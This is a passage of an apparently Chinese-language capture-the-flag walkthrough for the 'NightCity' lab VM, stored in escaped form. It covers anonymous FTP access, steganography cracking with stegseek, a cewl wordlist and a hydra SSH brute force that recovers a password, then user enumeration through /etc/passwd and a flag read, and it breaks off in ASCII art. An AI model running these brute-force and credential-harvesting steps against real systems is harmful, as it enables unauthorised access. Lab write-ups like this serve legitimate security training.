\u53d1\u73b0\u5f00\u653e\u4e86ftp<\/code>\u670d\u52a1\uff0c\u4e14\u5141\u8bb8\u533f\u540d\u767b\u5f55\uff0c\u5c1d\u8bd5\u767b\u5f55\u4e00\u4e0b\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ lftp $IP\nlftp 192.168.10.105:~> dir\ndrwxrwxrwx 2 0 0 4096 Jun 09 2022 reminder\nlftp 192.168.10.105:\/> cd reminder\/\nlftp 192.168.10.105:\/reminder> dir\n-rwxr-xr-x 1 0 0 33 Jun 09 2022 reminder.txt\nlftp 192.168.10.105:\/reminder> get reminder.txt \n33 bytes transferred \nlftp 192.168.10.105:\/reminder> exit\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat reminder.txt \nLocal user is in the coordinates<\/code><\/pre>\n\u6587\u4ef6\u9690\u85cf\u4fe1\u606f<\/h3>\n
\u4e4b\u524d\u4e09\u4e2a\u56fe\u7247\u5565\u4e1c\u897f\u90fd\u6ca1\u6709\uff0c\u770b\u4e00\u4e0b\u662f\u5426\u662f\u4e00\u4e2amisc<\/code>\uff0c\u8fdb\u884c\u63d0\u53d6\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek most-wanted.jpg\nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Found passphrase: "japon" \n[i] Original filename: "pass.txt".\n[i] Extracting to "most-wanted.jpg.out".\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek some-light.jpg \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Progress: 99.48% (132.7 MB) \n[!] error: Could not find a valid passphrase.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek veryImportant.jpg\nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Progress: 99.99% (133.4 MB) \n[!] error: Could not find a valid passphrase.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat most-wanted.jpg.out \nVGhpc0lzVGhlUmVhbFBhc3N3MHJkIQ==\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat most-wanted.jpg.out | base64 -d\nThisIsTheRealPassw0rd!<\/code><\/pre>\n\u62ff\u5230\u4e86\u5bc6\u7801\uff1f\uff1f\uff1f\uff1f\u5c1d\u8bd5\u641c\u5bfb\u4e00\u4e0b\u7528\u6237\u540d\uff0c\u53ef\u80fd\u85cf\u5728\u521a\u521a\u90a3\u4e00\u5806\u5173\u4e8e\u8759\u8760\u4fa0\u7684\u6bb5\u843d\u91cc\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cewl http:\/\/$IP\/robin --lowercase > dict\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ cat dict | grep robin \nCeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)\nrobin\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ hydra -L dict -p ThisIsTheRealPassw0rd! -f ssh:\/\/192.168.10.105:22 2>\/dev\/null\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-06-10 12:35:07\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 176 login tries (l:176\/p:1), ~11 tries per task\n[DATA] attacking ssh:\/\/192.168.10.105:22\/\n[22][ssh] host: 192.168.10.105 login: batman password: ThisIsTheRealPassw0rd!\n[STATUS] attack finished for 192.168.10.105 (valid pair found)\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-06-10 12:35:09<\/code><\/pre>\n\u62ff\u5230\u4e86\u4e00\u4e2a\u7528\u6237\u51ed\u8bc1\uff01<\/p>\n
batman:ThisIsTheRealPassw0rd!<\/code><\/pre>\n\u8fdb\u884cssh<\/code>\u767b\u5f55\uff1a<\/p>\n<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nbatman@NightCity:~$ ls -la\ntotal 308\ndrwxr-xr-x 5 batman batman 4096 jun 15 2022 .\ndrwxr-xr-x 6 root root 4096 jun 9 2022 ..\n-rw------- 1 batman batman 972 jun 15 2022 .bash_history\n-rw-r--r-- 1 batman batman 220 jun 8 2022 .bash_logout\n-rw-r--r-- 1 batman batman 3771 jun 8 2022 .bashrc\ndrwx------ 2 batman batman 4096 jun 9 2022 .cache\n-rw-r--r-- 1 root root 66 jun 9 2022 flag.txt\ndrwx------ 3 batman batman 4096 jun 9 2022 .gnupg\n-rw-rw-r-- 1 administrator administrator 272105 jun 9 2022 iknowyou.jpg\ndrwxrwxr-x 3 batman batman 4096 jun 15 2022 .local\n-rw-r--r-- 1 batman batman 807 jun 8 2022 .profile\nbatman@NightCity:~$ cat flag.txt \nNice try! but, this is not the flag. You have to keep working >:)\nbatman@NightCity:~$ sudo -l\n[sudo] contrase\u00f1a para batman: \nLo sentimos, el usuario batman no puede ejecutar sudo en NightCity.\nbatman@NightCity:~$ file iknowyou.jpg\niknowyou.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=0], baseline, precision 8, 1200x454, frames 3<\/code><\/pre>\n\u5c06\u6587\u4ef6\u4f20\u5230\u672c\u5730\u8fdb\u884c\u67e5\u770b\uff1a<\/p>\n
# wget http:\/\/$IP:8888\/iknowyou.jpg\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek iknowyou.jpg \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\n\n[i] Progress: 99.99% (133.4 MB) \n[!] error: Could not find a valid passphrase.<\/code><\/pre>\n\u56fe\u7247\u9690\u85cf\u4fe1\u606f<\/h3>\n
\u987a\u4fbf\u770b\u4e00\u4e0b\u524d\u51e0\u4e2a\u56fe\u7247\u770b\u770b\u662f\u5565\u6837\u7684\uff1a<\/p>\n
some-light.jpg<\/code><\/p>\n<\/div><\/p>\nveryImportant.jpg<\/code><\/p>\n<\/div><\/p>\nmost-wanted.jpg<\/code><\/p>\n<\/div><\/p>\niknowyou.jpg<\/code><\/p>\n<\/div><\/p>\n\u6700\u540e\u4e00\u4e2a\u56fe\u7247\u80af\u5b9a\u6709\u95ee\u9898\uff0c\u5c1d\u8bd5\u4f7f\u7528rockyou<\/code>\u5b57\u5178\u8fdb\u884c\u63a2\u6d4b\u4e00\u4e0b\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/NightCity]\n\u2514\u2500$ stegseek -wl \/usr\/share\/wordlists\/rockyou.txt iknowyou.jpg -v \nStegSeek 0.6 - https:\/\/github.com\/RickdeJager\/StegSeek\nbased on steghide version 0.5.1\n\n[v] Using stegofile "iknowyou.jpg".\n[v] Running on 2 threads.\n[v] Using wordlist file "\/usr\/share\/wordlists\/rockyou.txt".\n[v] Added password guess: "".\n[v] Added password guess: "iknowyou.jpg".\n[v] Added password guess: "iknowyou".\n[i] Progress: 99.99% (133.4 MB) \n[!] error: Could not find a valid passphrase.<\/code><\/pre>\n\u5c1d\u8bd5\u4f7f\u7528stegsolve<\/code>\u5206\u79bb\u56fe\u5c42\u770b\u770b\uff1a<\/p>\n<\/div><\/p>\n\u9690\u7ea6\u53ef\u4ee5\u770b\u5230\u70df\u56f1\u6709\u4e9b\u5b57\uff0c\u4f46\u662f\u770b\u4e0d\u6e05<\/p>\n
<\/div><\/p>\n\u597d\u50cf\u662fThatMadeMeLAugh<\/code>\uff0c\u4f46\u662f\u4e0d\u786e\u5b9a\uff0c\u5c1d\u8bd5\u4f7f\u7528ps<\/code>\u8fdb\u884c\u5904\u7406\uff0c\u9009\u62e9"\u56fe\u50cf" > "\u8c03\u6574" > "\u66f2\u7ebf"\uff0c\u901a\u8fc7\u8c03\u6574\u66f2\u7ebf\u6765\u63a7\u5236\u56fe\u7247\u7684\u4eae\u5ea6\u548c\u6697\u90e8\uff1a<\/p>\n<\/div><\/p>\n\u7206\u7834<\/h3>\n
\u770b\u51fa\u6765\u662fThatMadeMeL4ugh!<\/code>\uff0c\u53c8\u60f3\u5230\u4e4b\u524d\u7ed9\u51fa\u7684\u63d0\u793a\uff0c\u5c1d\u8bd5\u518d\u6b21\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n\nUser Flag -> Password of the first user accessing the system. Root Flag -> Password of the user who can see flag.txt<\/p>\n<\/blockquote>\n
batman@NightCity:~$ cat \/etc\/passwd | grep sh | cut -d: -f1\nroot\nadministrator\njoker\nbatman\nsshd\nanonymous<\/code><\/pre>\n\u5b58\u4e00\u4e0b\uff0c\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n
<\/div><\/p>\n\u5c1d\u8bd5\u8fdb\u884c\u5207\u6362\uff1a<\/p>\n
<\/div><\/p>\n\u5c1d\u8bd5\u770b\u4e00\u4e0b\u4f5c\u8005\u63d0\u5230\u7684\u90a3\u4e2aflag.txt<\/code>\u5728\u54ea\uff1a<\/p>\njoker@NightCity:\/home$ cd .joker\njoker@NightCity:\/home\/.joker$ ls -la\ntotal 28\ndrwxrwx--- 2 joker joker 4096 jun 13 2022 .\ndrwxr-xr-x 6 root root 4096 jun 9 2022 ..\n-rwxrwx--- 1 joker joker 220 jun 8 2022 .bash_logout\n-rwxrwx--- 1 joker joker 3771 jun 8 2022 .bashrc\n-rw-r--r-- 1 root root 7157 jun 9 2022 flag.txt\n-rwxrwx--- 1 joker joker 807 jun 8 2022 .profile\njoker@NightCity:\/home\/.joker$ cat flag.txt \n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u28f4\u28e4\u28f6\u2876\u281b\u2809\u2809\u2800\u28c0\u28c0\u28c0\u28e4\u28e4\u28e4\u28f6\u28f6\u28d2\u28db\u28c9\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u28f4\u28ff\u28ff\u28ff\u287f\u280b\u2880\u28e0\u28f4\u28f6\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28f6\u28a4\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2874\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f7\u28fe\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u287f\u28df\u287d\u28df\u28eb\u28ed\u28f6\u28f6\u28ff\u28ff\u28e6\u28c4\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u280f\u2800\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u283f\u280b\u2819\u2809\u2801\u2800\u28bf\u28ff\u28ff\u28ff\u28ff\u287f\u283f\u283f\u28ff\u287f\u28f6\u28e6\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u2844\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u28f4\u2803\u2800\u2800\u2808\u283b\u283f\u283f\u283f\u283f\u281f\u281b\u2809\u2801\u2819\u283f\u283f\u281b\u280b\u2809\u2800\u2800\u2800\u2880\u28e0\u28f4\u28f6\u28fe\u28ff\u28ff\u28ff\u28ff\u28f7\u28f6\u28e6\u28d9\u283b\u28bf\u28ff\u28ff\u28ff\u28f6\u28f6\u28f6\u28e6\u28e4\u28e4\u28f4\u28b6\u28fe\u281f\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2830\u284f\u28f4\u28c4\u2800\u2800\u2800\u2800\u2800\u2880\u28e0\u28f4\u28e4\u28c4\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f4\u28f6\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28e6\u2849\u2819\u281b\u281b\u281b\u281b\u281b\u2809\u28c9\u2874\u289f\u28e1\u28f4\u280f\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2833\u28ff\u28ff\u28f7\u28e6\u28c0\u2800\u28a0\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f6\u2844\u2800\u28c0\u28f6\u28ff\u28ff\u287f\u283f\u281f\u281b\u281b\u281b\u281b\u281b\u281b\u281b\u283f\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28f6\u2800\u2800\u2800\u2800\u28f0\u28fe\u28f7\u28fe\u28ff\u287f\u2803\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u281b\u283f\u28ff\u28ff\u28f7\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28e3\u289e\u28ed\u283f\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2820\u28e4\u28e4\u28f6\u28fe\u28ff\u28ff\u28ff\u28ef\u28ed\u28ff\u28ff\u28f6\u28f6\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u285f\u2801\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2809\u281b\u28bf\u287f\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u2875\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28bb\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u280f\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28fc\u2800\u2800\u2809\u2809\u281b\u283f\u283f\u280f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2819\u28fb\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u28ff\u283f\u283f\u28bf\u28ff\u28ff\u281f\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u2807\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2876\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u283f\u28ff\u28ff\u28ff\u28ff\u28ff\u281f\u2801\u2800\u28e0\u28f6\u28ff\u2807\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28fc\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u28c4\u2800\u2800\u2800\u28fe\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u28e4\u2800\u2808\u283b\u28ff\u28ff\u284f\u2800\u28f0\u280a\u2831\u281b\u2846\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u285f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u28c4\u2808\u2801\u2800\u2800\u2800\u2800\u28c0\u28c0\u28e0\u2824\u2836\u2836\u283f\u28eb\u281f\u2801\u2800\u2800\u2800\u2808\u283b\u28c1\u28fc\u2817\u28ff\u2800\u28a0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2847\u2800\u2800\u2800\u2800\u2800\u28c0\u28c0\u28c0\u28c0\u28c8\u28f7\u2826\u2824\u2836\u2816\u283f\u28ed\u28c1\u28c0\u28c0\u28e0\u28f6\u287e\u280b\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u280b\u2801\u28a0\u2847\u2800\u28fc\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2838\u283f\u2836\u28f6\u28fe\u28ef\u28cd\u28c9\u2809\u2819\u281b\u28ff\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u281b\u283f\u283f\u281b\u2800\u2800\u2800\u2800\u28e4\u28c0\u28c0\u2800\u2800\u28b8\u2844\u2800\u28e0\u285c\u2803\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2888\u284f\u2809\u283b\u28b7\u28f6\u28ff\u284f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28e0\u2824\u2824\u2824\u28a4\u28c4\u28c0\u2840\u2800\u2800\u2800\u2800\u2800\u28bf\u2809\u2801\u2819\u28a6\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u287e\u2800\u2800\u2880\u28c0\u28c8\u28fc\u2800\u2800\u2800\u2800\u2800\u28c0\u28c0\u2874\u2802\u2809\u2800\u2800\u2800\u28e0\u28be\u2801\u2800\u28fd\u2832\u2844\u2800\u2800\u2800\u28b8\u2846\u2800\u2800\u2800\u2809\u2833\u2884\u2840\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b0\u2847\u2800\u28f4\u28cf\u28c1\u2800\u28bb\u2800\u2800\u2880\u2874\u28fa\u281d\u2800\u2800\u2800\u2880\u28c0\u28b6\u281b\u2801\u2838\u2844\u2800\u28ff\u2800\u2839\u2804\u2800\u2800\u2808\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2899\u2832\u2884\u2840\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2838\u28f7\u28b8\u2847\u2808\u283b\u28f7\u28fe\u2800\u2800\u28e8\u281f\u28c1\u28c0\u28e4\u28f4\u2836\u280b\u2801\u28b8\u2800\u2800\u2800\u28f7\u2800\u28ff\u2800\u2800\u2800\u2800\u2800\u28a0\u2847\u2800\u2800\u2800\u2880\u285f\u2800\u28b8\u2800\u2800\u2809\u2812\u2804\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28b7\u2873\u2800\u2800\u2819\u28bf\u28c0\u2876\u2809\u28ff\u2809\u2809\u2809\u28e7\u2800\u2800\u2800\u28b8\u2800\u2800\u2800\u28ff\u28e0\u28ff\u2800\u2800\u2800\u2800\u2880\u28fe\u2807\u2800\u2800\u2800\u287c\u2801\u2800\u285f\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u28c4\u2800\u2800\u2838\u283f\u28f7\u2840\u2838\u2840\u2800\u2800\u2839\u2844\u2800\u2800\u2838\u2880\u28c0\u2874\u281f\u28ff\u2807\u2800\u2800\u2800\u2800\u28fe\u284f\u2800\u2800\u2800\u28f8\u2803\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2819\u28c4\u2800\u2800\u2800\u283b\u28e7\u28e0\u28a7\u2864\u2824\u2824\u283f\u28c6\u2800\u281a\u2809\u28e7\u2800\u28b0\u287f\u2800\u2800\u2800\u2880\u28fe\u285f\u2800\u2800\u2800\u28a0\u2807\u2800\u2800\u28f8\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u28c0\u28c0\u2880\u28e4\u2866\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28a7\u2800\u2800\u28fe\u2809\u2800\u2800\u28f7\u2800\u2800\u2800\u28bb\u2840\u2800\u2800\u28bb\u2800\u28ff\u2801\u2800\u2800\u28a0\u28fe\u287f\u2800\u2800\u2800\u28a0\u285e\u2800\u2800\u28a0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u28b0\u28fe\u28ff\u2837\u28ff\u28ff\u2835\u2816\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u2833\u2840\u2818\u28c6\u2800\u2800\u28ff\u2800\u2800\u2800\u2800\u28e7\u2800\u2800\u28f8\u28fe\u2803\u2800\u2800\u28e0\u28ff\u281f\u2800\u2800\u2800\u2880\u285e\u2800\u2800\u2800\u28f8\u2801\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2808\u287b\u2809\u280b\u2809\u2881\u28e4\u28fc\u284f\u28a0\u28c6\u287e\u2803\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2839\u28c4\u28ff\u28f6\u28e4\u28fc\u28e4\u28c0\u28c0\u28c0\u287d\u2836\u28da\u287f\u2801\u2800\u2880\u28fe\u28ff\u280b\u2800\u2800\u2800\u2800\u287c\u2801\u2800\u2800\u28a0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u28b0\u28f6\u289f\u2874\u28be\u2887\u28cf\u28e4\u287f\u2800\u2808\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u28e6\u2809\u2809\u2809\u2809\u2819\u281b\u281b\u280b\u2809\u2809\u2800\u2800\u28e0\u28ff\u28df\u2801\u2810\u2812\u2812\u2836\u287e\u2801\u2800\u2800\u2800\u287c\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u28f8\u28c3\u28fd\u28e3\u281c\u283f\u2809\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28b7\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u28fe\u281f\u2801\u2808\u2833\u2844\u2800\u2800\u287c\u2801\u2800\u2800\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u283f\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u28f6\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28f3\u2840\u2800\u2800\u2800\u2800\u2800\u2880\u28f4\u281f\u2827\u28c4\u2800\u2800\u2800\u2819\u28e6\u285e\u2801\u2800\u2800\u2800\u28c0\u28fa\u2834\u2836\u28b2\u2846\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f8\u284f\u2800\u2800\u2800\u2800\u28c0\u28f4\u284f\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u2860\u281e\u2809\u2839\u28c4\u2800\u2800\u2800\u28e0\u281f\u2801\u2800\u2800\u2808\u2813\u28e6\u28c0\u28e0\u289f\u2800\u28e0\u2834\u281e\u2809\u2801\u2800\u2800\u2800\u2880\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u28a0\u28f6\u280f\u28bb\u28f6\u2876\u28fe\u28ff\u28df\u286f\u281e\u2803\u2800\u2800\u2800\u2800\u2800\u2880\u2874\u280b\u2800\u2800\u2800\u2800\u2839\u28c4\u28e0\u28de\u2809\u2809\u2809\u2809\u2809\u2813\u2832\u28b6\u283e\u2836\u28bf\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2808\u2800\u2809\u2809\u28c9\u28fb\u2809\u2809\u2808\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28ff\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u2809\u2839\u28c6\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28e6\u2800\u2818\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b8\u2847\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2880\u28e0\u28f6\u280b\u287d\u2803\u2800\u2880\u28c0\u2874\u281e\u2800\u2800\u2800\u2800\u2800\u28c0\u28e0\u2800\u28ff\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2839\u28c4\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28f3\u28b6\u28ff\u28c0\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b8\u2801\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u280e\u2800\u28fc\u280b\u2800\u2830\u288a\u28ef\u285f\u2800\u2880\u28c0\u2864\u2836\u2812\u2809\u2809\u2801\u2800\u28bb\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u28ff\u2844\u2800\u2800\u2800\u2800\u2880\u28fe\u2801\u28f8\u2807\u28b9\u2833\u28c4\u2800\u2800\u2800\u2800\u2800\u285c\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u28ef\u2889\u2876\u2846\u28f8\u2849\u2813\u2809\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u2846\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2808\u28c7\u2839\u2840\u2800\u2800\u28f0\u280f\u287e\u2800\u28ff\u2800\u28b8\u2800\u2808\u28ff\u28a6\u2840\u2800\u28b0\u2847\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2880\u287f\u280b\u2801\u2801\u2809\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28bf\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28ff\u2800\u28bb\u28c0\u285c\u2801\u28a0\u2807\u2800\u28e7\u2800\u28b8\u2800\u2800\u2847\u2800\u2819\u2832\u287d\u2801\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28c6\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28ff\u2800\u2800\u2809\u2800\u2800\u28ff\u2800\u2800\u28ff\u2800\u28b8\u2800\u28b8\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28bb\u2800\u2800\u2800\u2800\u2800\u2809\u2809\u281b\u28bf\u2846\u28b8\u2847\u28b8\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2838\u2844\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u28e7\u287e\u2803\u285c\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u28c4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e7\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2809\u2800\u2800\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\n\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u